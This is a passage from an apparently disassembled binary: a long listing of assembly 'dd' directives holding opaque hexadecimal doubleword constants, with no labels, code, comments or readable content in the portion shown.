87FC6D4Eh dd 0ABD00558h, 90F5474h, 0EA47FA7h, 0ECD18083h, 0AB1B9900h dd 0AFD06636h, 0BC2500DAh, 9DCD4450h, 19060EE6h, 7982FD3Fh dd 4784AFC9h, 2DCCE0DDh, 79C2DAFCh, 0E0480D92h, 7416569Ch dd 82A9228Ah, 1B282D01h, 63B23C2Bh, 1819FEF3h, 4152FBB9h dd 72B855DDh, 34039D18h, 1801021h, 352972C4h, 47FA7B70h dd 0D8E5C481h, 790855A0h, 0C476643Fh, 5D1A40E7h, 165D779h dd 5E308BEAh, 359A6FB7h, 62E4ED9Ch, 1C138834h, 7082C966h dd 57F1C820h, 68B01843h, 289FA71Dh, 0DB016CD6h, 0FAE251ADh dd 86207867h, 47882087h, 0DB53C138h, 33C4585Ah, 0F021E97Ch dd 2B20CE16h, 7D533BE9h, 1F2D5E0Bh, 761884AEh, 0C3555840h dd 9A48F331h, 0F472344h, 0A3C4BADDh, 3C4CEBEh, 75BAE56Dh dd 65FDA007h, 725127E8h, 71843038h, 0E88A11C0h, 366DC6Eh dd 0A934E016h, 0AFB89678h, 2CB98F2Bh, 3E839C08h, 0F212785Ch dd 839087DAh, 24C0D420h, 0ED1AB3F6h, 2283006h, 0C698BFD4h dd 8A254470h, 9279D003h, 7A7DEF9Fh, 9496F220h, 0A3F800C8h dd 0E49BDDC8h, 64582A00h, 0A04C3878h, 0F0E00E2Eh, 40167A57h dd 0D5668708h, 0B900346Dh, 0F0D41AA0h, 33B1280Ch, 0F9890725h dd 0A1FB5106h, 6316AB7h, 879F5FBBh, 0B30B807Ah, 8745D005h dd 0ABC36480h, 3D180485h, 11F6BF5h, 7C53AF99h, 0B351E900h dd 0DE8B6207h, 8C15BF91h, 30F79421h, 0DA923087h, 161F83B3h dd 8D60103Fh, 701AAAD0h, 803AE7F0h, 8CA45B84h, 0B766B100h dd 0CF68394Eh, 0C3F0A1A1h, 22F964D0h, 8C03F29Ch, 25D930B1h dd 0F35DA985h, 201CB052h, 0E26DC031h, 0D427A524h, 0A1C2D440h dd 66F8F8h, 9C932660h, 0EF14241h, 591E4E12h, 0E7FB7083h dd 586EF3B1h, 31A8839h, 0CC600854h, 230990A0h, 0EABAD33Ah dd 9043764h, 0C8A2B003h, 0B448F953h, 37503952h, 617B84DCh dd 8291DC05h, 9C0F9FE6h, 0F71EE153h, 35ED523Dh, 7DC229BBh dd 888D3944h, 9400D116h, 4D707105h, 2B2AACh, 0D962F806h dd 0F9B93D5Ch, 67E6F705h, 0FCC06441h, 0AEF198h, 66650BC2h dd 0B4F59C52h, 3909C001h, 53EBB1E5h, 54BCC4h, 0AE2EDD06h dd 9F452D7Ch, 6F073Ah, 0AAA621A5h, 44A724h, 84559A8Eh dd 0EE9E5BE6h, 1400DC9Ah, 12040C85h, 0FBE3CB06h, 60809870h dd 0F50F118Eh, 0A01C6E9h, 59F06311h, 5CC4D456h, 3031025Fh dd 7D671797h, 0DC25E783h, 36338FF0h, 0E2993Dh, 8AC97903h dd 60F387DBh, 358CBCF4h, 0EB01A5F9h, 0D1A6C7FEh, 822B149Ch dd 0C8A530F1h, 67C4C35Bh, 46F473B8h, 0C207AAFCh, 9D96F870h dd 807D4FF3h, 267FDAh, 6095B19Fh, 30842250h, 806A053Ah dd 7D28AEC5h, 7488D29h, 8A1F9C2Dh, 6F760054h, 200834Ah dd 84B93339h, 3D7B79D6h, 77FDAE2Fh, 78380406h, 8054EC1Ch dd 1BBD119Eh, 0F7B4A4A0h, 32D8FE00h, 0C6608672h, 4BA602A8h dd 7D2E0543h, 0E9569060h, 0C300F4FAh, 0FA7C74A9h, 16B7F1h dd 4E3C2075h, 0BA436E6Fh, 0F7C5B800h, 401CF5B4h, 9B750052h dd 9F12B3C2h, 0CBFC9659h, 76176300h, 0DAA12EFBh, 0F33B0058h dd 0B5BFF6E2h, 1C0024A9h dd 42FB3905h, 3CE8EF8Bh, 4C0135C4h, 9E443071h, 0D32B3008h dd 6584A400h, 0D6BC5522h, 0C8FB3B5Dh, 0F1214B80h, 0AC63A8FFh dd 6506E00Eh, 6E44402Ch, 12D4815Ah, 400427A2h, 0A0E86994h dd 800756Dh, 6BC14265h, 30549h, 741193E0h, 0B079FB01h dd 52E50900h, 0AAFE0AC8h, 501F246Fh, 560F0054h, 4D1E5C26h dd 0C83A2377h, 0F45D0077h, 844169ACh, 0A4600E8h, 0D0E066E2h dd 0DE03779Ch, 0A021C85Ch, 87409894h, 2C354878h, 0F0E0B73Ah dd 7F129FA1h, 0C2F2280Fh, 0E13182C1h, 745065h, 829C6353h dd 0D508CFE4h, 0B5F95B00h, 3CAEE78h, 0F23C00EAh, 0ACE57FAEh dd 0F124F301h, 410704DBh, 0F510FF4Ch, 179AACFh, 72EF424Bh dd 802AA655h, 7B9E0580h, 0E4235727h, 81100284h, 73E8D747h dd 1E020050h, 4E8E6965h, 0A4C44022h, 0B95A04EBh, 902AED32h dd 687CE2B0h, 1E0C7490h, 19A66DB3h, 0A1491807h, 9FB63921h dd 81871E08h, 3A45848Dh, 40520067h, 30B10A9Eh, 64306A89h dd 6001BBBh, 0F510A88Bh, 5547FACh, 0D62AF78Eh, 58B88043h dd 1E0365BBh, 2508DD89h, 0E463A80Ah, 61D30018h, 0C1A0DC1Ah dd 20399D23h, 0CCF300F6h, 6B55744Fh, 0E1DFC4h, 370409C3h dd 8D09B66Ah, 2FC5EEh, 80854F75h, 1CEC00BBh, 0ABA16827h dd 4E0360A7h, 9AD41320h, 4A64C88Ch, 0D215001Ch, 0C428689Ch dd 0FCA0E478h, 1F032F51h, 0E6CCDC22h, 0EAA6884Bh, 4C07066h dd 9579CF4h, 883480CAh, 2E00D50Bh, 0BD649A9Eh, 0EAE308F1h dd 0E2533D98h, 698B42Ah, 5AA257F5h, 24031197h, 725DCE64h dd 60C1E414h, 6420E2A9h, 0C76E002Ch, 3EE7EE02h, 0C60073BEh dd 2B85CB65h, 74075F3h, 1EC48B48h, 0C007E4BBh, 78C95860h dd 0F6D68E00h, 94928F54h, 0E45904A0h, 835A27EBh, 0C1F39518h dd 0E35C1AA8h, 44DBAD18h, 0A09E4620h, 4A08E4h, 9F624FD9h dd 4C93A4C2h, 39334200h, 4B88A683h, 55D3016Ch, 0DF165E60h dd 0CCC8803Fh, 0E00C6873h, 0DA400A9h, 5598D775h, 316E957Ah dd 65B9A059h, 0E814D1h, 8D0BD0B0h, 0CCA267A0h, 0AFDBB50Fh dd 71212082h, 69893Fh, 49627BFh, 5618B1C4h, 55549F03h dd 0BDEF775Dh, 0E2710CEEh, 3F79D670h, 0EB369618h, 3E75B610h dd 0CA808943h, 4599DBE5h, 6772DF0Bh, 0DD7420C0h, 9057F3B9h dd 994C1D58h, 40C3D661h, 0C6DB82C4h, 627803E9h, 41E82C0Eh dd 69534080h, 7D286BF0h, 0E61098F3h, 3C8C9013h, 84012D81h dd 7CB10DF4h, 797FCDE9h, 1F400EECh, 630B80CBh, 0ACD07A4h dd 0BC2BD3FCh, 0D583008Ch, 0D6944F78h, 0CA3F10C0h, 14682891h dd 906DED84h, 32D41E00h, 0B73BB3D1h, 6272AB00h, 5524FB64h dd 0F26000B8h, 80D93A63h, 0B3003719h, 0A48CFFB4h, 0F30C25h dd 5D4E97FEh, 0F0A72B73h, 1A007096h, 6D09901Dh, 0B8410174h dd 0B92171Eh, 0B940E46Fh, 0A8A70FFh, 18E58C00h, 0CD74AA86h dd 0BFF500FAh, 386E8A19h, 24011091h, 0E095DEEh, 0B0305E80h dd 1A270B0h, 0C41876A7h, 60E599D0h, 4D00D884h, 0D732E27Ch dd 2E4B9883h, 1200F87h, 0C06E8245h, 7F74F4A2h, 165A7758h dd 0C44F3271h, 6096A020h, 8E9B9h, 9CA02CD3h, 9EEBF66h dd 9B2DD41Ch, 0BAC26540h, 0B0B0C4FEh, 205501B8h, 0BCB8FD99h dd 2A97D41Dh, 63CD9302h, 6045D91Ch, 30ABD6F4h, 2A690F5Bh dd 960030E5h, 91576765h, 0D8D9EAh, 59616C12h, 0D4DDEC93h dd 56680E00h, 0DBED945Ah, 6E1428DAh, 1CE07910h, 405B6F15h dd 0F0E60795h, 754BAB79h, 81FB6440h, 1F9EB52Eh, 3AB356B7h dd 0D8065C3Ah, 8936EC5Bh, 0D6D0B900h, 2F9606ADh, 0F72E74A3h dd 4EF955D0h, 0A9E44099h, 365A764Dh, 643E1618h, 2B4C08h dd 0E14244B2h, 9BC2457Fh, 8D330A00h, 2CBE3B5h, 0E2E80064h dd 0C871A020h, 0DB06CC49h, 8C1D51E0h, 4E640758h, 40D6FB16h dd 65C3F36h, 0B3993760h, 18A5B76Eh, 716671F5h, 0BC580864h dd 644A5FE9h, 0B50C64E8h, 743DE886h, 0BB5314A6h, 841C14B6h dd 91DD0009h, 83E33CBFh, 473FEF00h, 0AFA5E769h, 58C4E03Dh dd 0FA00E2DAh, 7729D936h, 106A2F3h, 2F82D13Bh, 0A1D66F49h dd 0A03C0324h, 0D0402578h, 69382552h, 0FFC18C02h, 25360822h dd 0DA140419h, 429D486Fh, 0ED223835h, 30B600CFh, 5000E5F4h dd 0CA4C6D90h, 3D7E60Ah, 5D7C7942h, 0C6B859D9h, 847BA147h dd 0D1782E00h, 852BE1CEh, 7C320046h, 29DFD4D5h, 0CBFCC519h dd 1C9C5948h, 0CFCBE674h, 0BA422B9h, 5A407E0h, 8418940Dh dd 8CB8D1F8h, 0C035C5BFh, 0D231FD52h, 0D1E8190Fh, 4B314080h dd 5F2F6A4Ah, 16D011C0h, 0C640FFh, 2E9A50C4h, 0B3A687A0h dd 0BBE3F40Ch, 17D50682h, 0F22614h, 81BE57D4h, 0B7000905h dd 84808341h, 1626682Fh, 0B176E0Fh, 0A4181B9Ch, 2300E41Ah dd 24131D0Eh, 180C60DDh, 80739229h, 96002AD1h, 7BCEDC9Ah dd 9F7827Ch, 5C04DFD5h, 2E44182Fh, 0AC854Ah, 2C781EB4h dd 3300DA10h, 0A9508672h, 1DE91F17h, 2E6A4E3Eh, 1C84B8BCh dd 90BCF97Dh, 972653FCh, 1057D904h, 0F4804BDDh, 5F9FD2h dd 0E524111Fh, 3076BE68h, 0FCE1EE0Ah, 7C009C66h, 0B4FE28F9h dd 6BA214E9h, 4000B80Bh, 0FD026DC3h, 0FA7906C8h, 6C915614h dd 0E4A075F4h, 7F54B722h, 0C5005CD4h, 4B040A47h, 3F4506h dd 7DD280B5h, 0DAC89C2Eh, 661D2601h, 0DBE68911h, 903C7EF5h dd 0A92ED000h, 41524584h, 0A13E0092h, 0F2EC00BEh, 915937C6h dd 0C069DC31h, 0A7C20B8Fh, 0B1F00D73h, 87F9B00h, 0DC30E6DAh dd 34613094h, 0BCC4EC0h, 0B0CA0603h, 0A0EA7B2Ah, 0BBE855h dd 79106386h, 0FC509DDCh, 1C984300h, 0BDA48F7Bh, 787E79B3h dd 56DF00A3h, 0FA84CBD2h, 0F010135h, 22B41D34h, 84509D20h dd 0E2F6999h, 8679C536h, 0A33B160h, 4DE89A4Ch, 599CE405h dd 9F00CAF5h, 0DBF2FEC4h, 0CD74C039h, 0C6FA29B4h, 79ECC1Dh dd 0ED0C9EFCh, 1B2AE8F0h, 0F49B0051h, 0AF6BAB7h, 0CF01427Ch dd 3AA09C28h, 6AD80C93h, 0FCE0C3h, 0CBABFEA4h, 0F8090F14h dd 4E6170C0h, 378B93h, 0A5E21A67h, 0BC5EC3B4h, 0C1011175h dd 7B80F80Eh, 58D84C71h, 473E0020h, 989B1F73h, 68C7942Ah dd 0F24095ACh, 565187h, 0CCAF9F7Ah, 0A2DBF474h, 6D7E1900h dd 0BF1C4E0Ch, 7146075Fh, 46184B9h, 6C8739h, 59FFB5C3h dd 0B3694900h, 5BBC10Ch, 1E64905Fh, 2BC0DB4h, 5E5A6204h dd 0AD492E60h, 0FA273470h, 80CC285Ch, 46CF400h, 9048F9FCh dd 0CCB6006Ch, 506465FAh, 0DE01E38Ah, 2D9A61E6h, 5D00672Eh dd 5600772Fh, 48AA76B5h, 0EF9BD833h, 6330C521h, 1A6300B9h dd 0CEE0270Ch, 0AA0E1E01h, 17F7345h, 3A6CB872h, 1767FCE8h dd 0BF14484h, 0AC80DDA0h, 32F9F8FFh, 12F43490h, 7AA2CF1Eh dd 75C98480h, 7D1542h, 0D88DAEC6h, 0C12077C5h, 3E12A3E2h dd 7C40DF3Dh, 0F62876BFh, 7D5C0078h, 426CC761h, 0B700022Ch dd 96B8B6E7h, 3F11233Bh, 5B8F679h, 9D6F0078h, 1993E3A8h dd 650046F4h, 16139EA7h, 121C2B9h, 39E97903h, 0C0C7ED1Fh dd 0B3000620h, 167A53EBh, 0FA81A9h, 5F8CCF60h, 63304605h dd 66DC200Fh, 3AA4202Dh, 1C9E28FEh, 0CEF7B138h, 0CA441B35h dd 0FA52806Dh, 4E001691h, 250C21EAh, 0F2DBFEBh, 22A34A08h dd 5B441B3h, 0FC47683Dh, 724FF9DBh, 0FB7409h, 4C2C3A4h dd 82110EB2h, 25E901EAh, 485B7800h, 0D7007E34h, 0C66CE7D4h dd 9AF206h, 1ADDD553h dd 701B75D3h, 0F5814300h, 7DFFCEBAh, 39450027h, 0A23B4688h dd 3C76C910h, 58927917h, 5671440h, 397CED03h, 5848A353h dd 7176FA0Fh, 0E87F6AE0h, 0FB009233h, 0A80C051Ch, 3C639121h dd 0F2AEA0EEh, 0B532805Ch, 6BE57188h, 35C0D900h, 0E7738AAFh dd 0C1D83064h, 0D4728BB8h, 78D01C2Ch, 0D2809049h, 892F09E5h dd 11833C38h, 65B24671h, 7AB87CC0h, 2CA57805h, 749029E4h dd 7DF0586h, 0E26C6D38h, 3085B7C7h, 9A3C9997h, 299B5230h dd 0B8F5900Ch, 625C0213h, 775A75F3h, 2F00D870h, 36E9B9EFh dd 78CA0927h, 0F44100FEh, 73BF69B4h, 6F1CF935h, 0E6407F42h dd 0B010789h, 0E558D06Ah, 9915BC01h, 0F5DC6BA1h, 4FD820ECh dd 67824A00h, 51A5E566h, 3EB21D53h, 0B15C9E2h, 2A95B800h dd 0A60005C0h, 58FAD398h, 2DF7EEh, 0F84F8C79h, 0C3363E73h dd 0E30E8690h, 2231C7C0h, 80E4C496h, 74F5A3CCh, 37D558FAh dd 6AEF4501h, 4077EE25h, 103DBFD4h, 23151307h, 0D0E063DCh dd 30EAE30Dh, 0D4988A4Fh, 0CC00D308h, 1064A9E7h, 3E4B86h dd 0A896EE8Fh, 0F79E174Ch, 1CC3B300h, 0AB2F1189h, 4020E7D0h dd 7080019h, 5D4DCCB5h, 0F2F2BDC1h, 0FA00DA48h, 0D9BF6421h dd 2EB10080h, 0E74ECC02h, 220F0B20h, 442BCFDFh, 0C3960C25h dd 0C8B2A54Ch, 2259A4C8h, 2C5B7A40h, 81A0C2D0h, 94877EABh dd 32118102h, 0F7E8E273h, 0DDB84B2Bh, 0CA07F044h, 0D3E2FB0Dh dd 6E8E8051h, 0C067C24h, 4A319E8Bh, 33006129h, 0A82F981Ah dd 0BA3C8Dh, 37C30BFDh, 0B8428BB6h, 0BF0F3100h, 438A773Bh dd 9FB0AB7h, 71035C1h, 30C20834h, 0CD40897Ch, 5BA32B04h dd 0ECA29BF9h, 2C765304h, 77ACA8F5h, 0B758AD78h, 0D677EC5h dd 4EE7F198h, 3CD40683h, 0EB00E611h, 0A34CAD51h, 0AB3A3475h dd 0C584017Bh, 53A0F0C3h, 0F8DCD0E0h, 1E55006Ch, 88F91B1Fh dd 0A063874h, 0A6CB82D4h, 96B307F8h, 4036A9B7h, 0F0E750D7h dd 0D0A38700h, 16466671h, 942EFAFBh, 805011ECh, 40163E92h dd 40EE4B5Ch, 0C9CD5304h, 0FB783DF7h, 6CE3D100h, 4C128399h dd 86B22596h, 0B539B400h, 5327DB65h, 345420C1h, 0BAE3D14h dd 272140E7h, 1CFC2281h, 980CD8C7h, 1F06B700h, 775BA87Ah dd 4EE004Ch, 0D6F79615h, 9700393Ah, 9A4A7B64h, 842905h dd 7A1EC66Fh, 0E7449B53h, 0B82FF672h, 4DC280Bh, 0C5F6705Fh dd 84513006h, 12181A12h, 0C1341082h, 0C8CDA0h, 9661F552h dd 50904B4h, 335104DDh, 3D14C14Ah, 0E52266A2h, 2D7F2204h dd 211B542h, 8B12164h, 29882F16h, 659A88C9h, 519DCD90h dd 28FD284Ah, 42598E22h, 44E31199h, 7214F128h, 975890Ah dd 2994CE31h, 24113C65h, 8812155h, 50BA5935h, 8B441514h dd 6442845Dh, 0CE082D21h, 84699088h, 0A1485ACCh, 248E9242h dd 58322145h, 1E209512h, 5CFD9C19h, 0E4587478h, 0FAED300h dd 9524418Bh, 0BF024FB8h, 2C89A01Eh, 4FC4789Ah, 90BC16E6h dd 0D207EC78h, 0FA1D7104h, 0ECC061B3h, 8E24CE8Ch, 676FC00h dd 85C0F448h, 0AEC60FBEh, 1FF31E0Ah, 0DD7940C0h, 0ADA794CFh dd 802C0B3Dh, 0F2FE0248h, 7FB28AC8h, 308006Ch, 0E885E60Dh dd 2303C58Ch, 4B6FBB0Eh, 0E1EBA0F1h, 1A650098h, 86944D4h dd 63717ADDh, 0E62E1F09h, 0D8582290h, 0B4D2C9h, 0A2669D59h dd 707CA1B0h, 0CEB2D00Eh, 0AEC09D9Ch, 0EE56FDBEh, 0CD4D077Bh dd 6E4FE585h, 0C6C870F9h, 21BA5468h, 0A30014BCh, 1D5E5755h dd 3E3FC0Bh, 0F9F6CA70h, 85AD32F3h, 3420E11Ch, 2425C528h dd 32EC80A5h, 3A214F23h, 8B183185h, 99A81963h, 0BDB7FD07h dd 5B82483Dh, 0EDBE00A2h, 2838CF04h, 491A839Bh, 761DD7Eh dd 0CD81B058h, 57B370FCh, 9D183D03h, 0BA38AA1Dh, 4FC100ABh dd 70AD248h, 0FF009BE5h, 0F8F9C8B9h, 0EA2233F2h, 12AB053Ah dd 80619D50h, 93C273Ah, 0C263B100h, 0DA66EC6Eh, 7C360EC3h dd 7960834Ch, 84B37347h, 0BACCE100h, 70C00772h, 0D62E2F6Bh dd 0DED78480h, 44F6FE2Fh, 3DC4855Ch, 7AF48074h, 0D05E903Fh dd 0B223CDDh, 0AF7E4100h, 0D723685Dh, 37D55Ch, 4EFC119Bh dd 49A69F6Dh, 23001C0Bh, 41E17903h, 0C004ED17h, 0B0EA2606h dd 3FDADB80h, 64750078h, 7F41E856h, 0B5007177h, 9EBC2945h dd 432B04Ah, 31BA9706h, 260491B7h, 86C6C80Fh, 25D0B341h dd 60070073h, 0DB8B5161h, 0CA020FA3h, 8EE38AC2h, 648469EDh dd 0FD02382Ch, 0BB02E7A9h, 110E0A0h, 34077175h, 0FAA0F895h dd 424A90A0h, 0CB02008Ah, 6E9E7E3h, 0D217C61Ah, 58019ACAh dd 9D71E65h, 36D42082h, 60E01ACCh, 4B1C5CA1h, 0A64EBF0Ah dd 74808025h, 28BEC62Fh, 28E80C44h, 76DA8805h, 32E81E48h dd 7CB2C34Ah, 7BC01A0Ah, 0FE00C1EDh, 28BEFA4Eh, 72B108DAh dd 0F17057h, 0DCB4CDACh, 50458FAEh, 0D92D2217h, 6A73DC00h dd 14E612D0h, 0F094C3D3h, 2D6E087Ah, 0E7007DC6h, 610E1FCEh dd 59950054h, 419E4CFh, 0A0004F6Bh, 12CDE08Eh, 3B9149DBh dd 0B780DFCEh, 6065A792h, 0C2000B1Bh, 6F7D7ECBh, 106EBB56h dd 8249A61h, 679211h, 0F73EE805h, 3F02559Ch, 0F9D652BEh dd 0A9A84801h, 24BF2EBh, 11DC223Bh, 50D826h, 0AAFA9C76h dd 2AD19013h, 0C08C8409h, 0B3F5ACh, 7B0B35B6h, 0D718722Ch dd 0D5071709h, 2C523Ch, 5F7ECF7Dh, 0F6010350h, 3F44AF00h dd 0E50E17D1h, 1DBE0082h, 9CD39B92h, 5C002A3Bh, 2E0FBC9Ah dd 5F9F42h, 8CE06513h, 1CCC27B4h, 4D002C90h, 48AC3034h dd 3C1264AFh, 0C5007581h, 4510BDBFh, 0FF037C1Eh, 0D5DE88D8h dd 0F2A00012h, 0EF5148A0h, 0A37FE0EAh, 1829EC00h, 0E3211338h dd 5FA030E9h, 17338E5Ah, 0CAD3B702h, 62F61B06h, 75005C54h dd 84C16390h, 0D40FF1FAh, 6702BDFCh, 0B1AA48Fh, 6CB843Bh dd 0A4E8CCCh, 9DDDA31Eh, 0D90100E4h, 0A4A9D659h, 7CE77E00h dd 72C31714h, 0BA710321h, 0EDDA743Dh, 65D8A08Dh, 0D4FA58ECh dd 47B76E02h, 0C0BA3754h, 0EE7728h, 69F0CC9Ah, 1CF9C794h dd 0E4231200h, 2C43526Bh, 1BFE07DEh, 30881125h, 0B48B75BAh dd 65C45F03h, 923DE9A7h, 2F17C0A6h, 1F34B0E0h, 0C0A8F044h dd 640581CCh, 613CB83Ah, 0C2E006Eh, 13D88C1Ch, 3C5CB4CDh dd 0F2F77680h, 6AD95E0Eh, 0DE03D300h, 666F2D72h, 1CE89Eh dd 0BE7C574Eh, 2C76FBC8h, 20CFB400h, 0C677A9BFh, 1BCEC60h dd 0DAA2C970h, 604AC859h, 11005613h, 103258A0h, 0FCFB2712h dd 733009D7h, 7804D83h, 0CC9860E0h, 2A81C814h, 0E53AFBh dd 0E1023DCh, 95F4FECBh, 6DE4001Dh, 30FCD034h, 197AACA6h dd 707E1300h, 77F405FEh, 0F2227758h, 0CB89006Dh, 0CCC91093h dd 0AC03E894h, 0BC4EA1E0h, 0C37DC051h, 0A0707B16h, 3E57D1ACh dd 0C0839CFCh, 982BD242h, 8F380DD8h, 0D31C9E01h, 96F420D7h dd 0C057FCh, 11AC6E25h, 0C75E5A6Ah, 0E04FFCB6h, 0F1332FB6h dd 0BB35005Ch, 0AA7BE0CFh, 4739DD5Eh, 4CC780F9h, 0B66252DCh dd 5B400E80h, 3898891Dh, 8015CF5h, 0F204B9E4h, 0ADD022C6h dd 8AA400E9h, 43BB6B46h, 0E07740EFh, 0EB8FE09Ch, 0DE01D159h dd 84A66150h, 0BFB3041h, 2F221C3Fh, 0F8DC40DBh, 588E26AAh dd 24CB80C8h, 0B75E94A8h, 0CC01F601h, 5D93A325h, 1F54160h dd 0A531C8BCh, 0E08118ADh, 2500B4F0h, 9B224F91h, 1145BD5h dd 0E88436E1h, 6D63A3CEh, 1BBB0418h, 0F8D0EFF3h, 0B07A9D0Fh dd 61F8C080h, 8EF2089Eh dd 2FBDEC00h, 1A2B8935h, 20150336h, 777CBAE0h, 0E87F5190h dd 0ACA92D00h, 177BF081h, 74DB04C6h, 80D1EE75h, 56162FE8h dd 1A4C9600h, 815D996Bh, 0A3E9006Ch, 0D8CD95F1h, 9A031BB8h dd 775CFEC9h, 230F943h, 9218432Bh, 19004635h, 2B7F2765h dd 0B14BEF0h, 0C96FC5CCh, 30445C9Ah, 0A586B307h, 0B6406A67h dd 12EFFA8Fh, 407F2AAEh, 109D9A80h, 0F300ED89h, 979E38C1h dd 1FEF8B12h, 0C039C0ECh, 0C8A13A6h, 65C9865h, 7A4D0053h dd 0A994076h, 11B700EEh, 0DD6EA490h, 6CE08E89h, 30118090h dd 45008022h, 0B133400Bh, 72C57BBh, 5B0A349Bh, 0A000B49Eh dd 206E4986h, 6B60F511h, 0B790039Fh, 174B945h, 98D0C2E0h dd 3D733500h, 0BF9B3409h, 0B845787Ch, 0BB9003Bh, 85EB6412h dd 635CA908h, 56920B40h, 0A55B846Ch, 0C65AFD80h, 0CA711E01h dd 661FE6h, 0CE16123Ah, 0EA258293h, 785658h, 9542BFD5h dd 5A00C28Bh, 2099D261h, 77917C60h, 0F8D31D27h, 16644369h dd 0ECC87992h, 0D5281C3Bh, 0D907E0C9h, 8197878Dh, 50A3621h dd 6C8006Eh, 0A6D3F9F3h, 3D0046ECh, 0E5DFF5FEh, 48555FA4h dd 8C007F30h, 3BF1B877h, 9E09D017h, 5164A390h, 62A58030h dd 7477D84Ch, 0D0F70801h, 6F80019Ch, 0B0D0772Fh, 0A2675E46h dd 0C27E9700h, 0F3797378h, 0EC009781h, 2D99EC33h, 26008890h dd 0CD5BC7FAh, 73DD20E7h, 43EA0044h, 0D3C727Eh, 3851BBF2h dd 6FAED4CDh, 4E8DD60Bh, 6BECA0A2h, 3D575DAh, 602B20E0h dd 77C84213h, 1A05883Ah, 0A3399609h, 80CB60C0h, 7BB71DCCh dd 0BBCAC02Fh, 0D957D41Ah, 0D21C7A02h, 80622943h, 150F7384h dd 95D7A4Dh, 0E9B7973Bh, 0F4F25802h, 0A840F44Ah, 0EE0FF680h dd 32A733CAh, 0CBBDFC40h, 2DD9432h, 6CA28E10h, 544802C5h dd 27B0A692h, 82FBF83Dh, 78063185h, 0A158436Eh, 212E38BAh dd 0D14CD8h, 0DC30F5h, 0CCB323A3h, 0C447444Eh, 0C9DB9F0Bh dd 4C44811Bh, 59EDF34Dh, 0B914282Dh, 0F601AC9Ah, 0BBCB4EA7h dd 368920B1h, 28BE1901h, 1B2D76A1h, 331C7880h, 466F724Fh dd 0A5E38F3Bh, 37A400ADh, 1DBB1639h, 0C09AB5B3h, 673281AFh dd 56000E27h, 719D3DA9h, 17753674h, 0CF577Dh, 38E8BED0h dd 91035503h, 0D454C080h, 0CA0C4FBh, 0E22A17ABh, 801C832Bh dd 0CFF8281Eh, 0CD8B2170h, 0E96D07C1h, 35F3DA66h, 0A3BC80ECh dd 0A950F838h, 0EDE408F8h, 8D364201h, 0CF3DBE6h, 0F12AB084h dd 0F060FD84h, 13286E2h, 0FE28AD64h, 6C2A931Ah, 0B8FA0054h dd 0B3EB0354h, 9ED72E88h, 0E970064h, 91C9DEF0h, 9D2FB00h dd 965C5869h, 3B9274D0h, 0BA04AF71h, 0C0909731h, 62F4628h dd 6C33450Eh, 708B49h, 1928BDA4h, 22140737h, 50A0EA35h dd 9A4BC7F8h, 0CE69623Dh, 0F5405C20h, 0CD6407A9h, 9F96AA2Fh dd 3D8FB160h, 0F1000348h, 0F068C9F3h, 663A68Eh, 0DF4C6FC3h dd 3100C81Ch, 4F723B8Bh, 0D1CEB4h, 0C4A8B9D8h, 0C753A73Eh dd 58D5FCE0h, 211C7FF8h, 4280267Bh, 3999E579h, 0BAB73D08h dd 3F20AF84h, 52CF8F4h, 0AC2E8224h, 3CC77084h, 587AB660h dd 0C06B4E1Ch, 0E7D4D008h, 307B0103h, 0C899129Ah, 78BA26Ah dd 60C154F6h, 862D60C6h, 0C5B83343h, 77398C1Ch, 87271889h dd 0FFF5AB3Dh, 57110F0h, 9575E32Ah, 9BCC75Ah, 0D0DB40E9h dd 591CE467h, 873D4B05h, 8186C4EEh, 4C3076E6h, 320324EBh dd 2ABC0334h, 0D843381Dh, 0E014D200h, 833CD9h, 0E21B5776h dd 9A5D58ACh, 4613FCFAh, 3C0040E7h, 0F042BA6Ch, 22C0041h dd 56AAF3B3h, 11733D08h, 4448270Fh, 5080EBD4h, 2154002Ch dd 0B803E8A8h, 25381D4Eh, 2E830011h, 0CAE4BBE0h, 0DBD800E9h dd 1FC00858h, 0F009B77Fh, 1B8CC16Eh, 40FEC078h, 79C802ECh dd 0F949381Dh, 0D12705Eh, 0CD803F1Dh, 45F429DBh, 20BF0309h dd 87DAF0ECh, 0CEE6EB80h, 58D60700h, 0C06EB05Fh, 1337C6Dh dd 0ED15165Dh, 7C9FF443h, 0B45A0B98h, 0A96CA0F9h, 39792091h dd 7580102Ch, 0CCD3D9FBh, 95728A49h, 59E5661Dh, 0CB78CEh dd 767C1980h, 5F9109DAh, 8100456Dh, 0E07CDF5h, 16C853Dh dd 40ACC713h, 0D4DCFA9Dh, 0EECF007Bh, 0BBA44A22h, 8E005A70h dd 55F50E9Ah, 0E97360h, 324687F1h, 0FF6EF2D5h, 234D5000h dd 7DCBD30Eh, 0CD3409B6h, 0A90490A3h, 9CB4B42Ch, 67C02BF9h dd 865051h, 2A7EB005h, 0F5254890h, 80E8683Dh, 0DE850BB8h dd 5841BD1h, 2F22E9A9h, 0ABDC881Ah, 480F8D5Ah, 0D2DEA09Bh dd 0A01149E8h, 0FC0A6CE8h, 90FA1Bh, 0B0B84CF2h, 0E506FA92h dd 7E5A3EF8h, 0CCF970C3h, 2350F220h, 7FC80B18h, 8221B759h dd 2BD9E000h, 600F48F2h, 0A5C573A8h, 0FD00C3F9h, 121CBD83h dd 302498A1h, 0E80AAABBh, 4A144372h, 26982074h, 0F4004C9Ch dd 0C7D5C131h, 279D1FC3h, 0D7B9C039h, 5D8F3012h, 378BAF00h dd 0BF51B204h, 2C009DC5h, 13DF57E7h, 4FFFDD00h, 0C2602E69h dd 0D0C500BEh, 597EFC15h, 58940AEAh, 9ADC9F3Bh, 238E2F40h dd 24E46D30h, 8EC4F603h, 0ED60A1A8h, 3E79FC50h, 0CEB24B02h dd 0F7B49E70h, 4024F800h, 0D5E429FBh, 2201EE98h, 0F8DC21EFh dd 28E77Eh, 846B21EFh, 0C09FC5D0h, 6E2E3E8Ch, 38434B37h dd 1E59BB80h, 0BFBD1F46h, 0EE78B85Ch, 0E284006Ah, 0BEECED53h dd 0A21F6B95h, 2112263Fh, 90B98A00h, 3A2FB0A9h, 2E00AF96h dd 0C694E87Eh, 4500C983h, 0C01485F9h, 1CC4C8D4h, 8169BC51h dd 634573Ch, 2070E1C3h, 117639Ch, 0D10D9FDh, 3A5B84h, 16B6AC8h dd 89725D2Ch, 57E4B465h, 0F6970015h, 0D1DCEB37h, 6D007E3Ch dd 38363361h, 4AA1BD1Ch, 68C0087h, 119D18AFh, 27E63507h dd 89134D6h, 8ED4BBBCh, 0E8E0F93Dh, 724D0083h, 0EEE9BA0Dh dd 0CF0A5C8Ch, 0C3B611B9h, 0E8790100h, 3D72FCA9h, 66077A3Dh dd 40738034h, 7078824Eh, 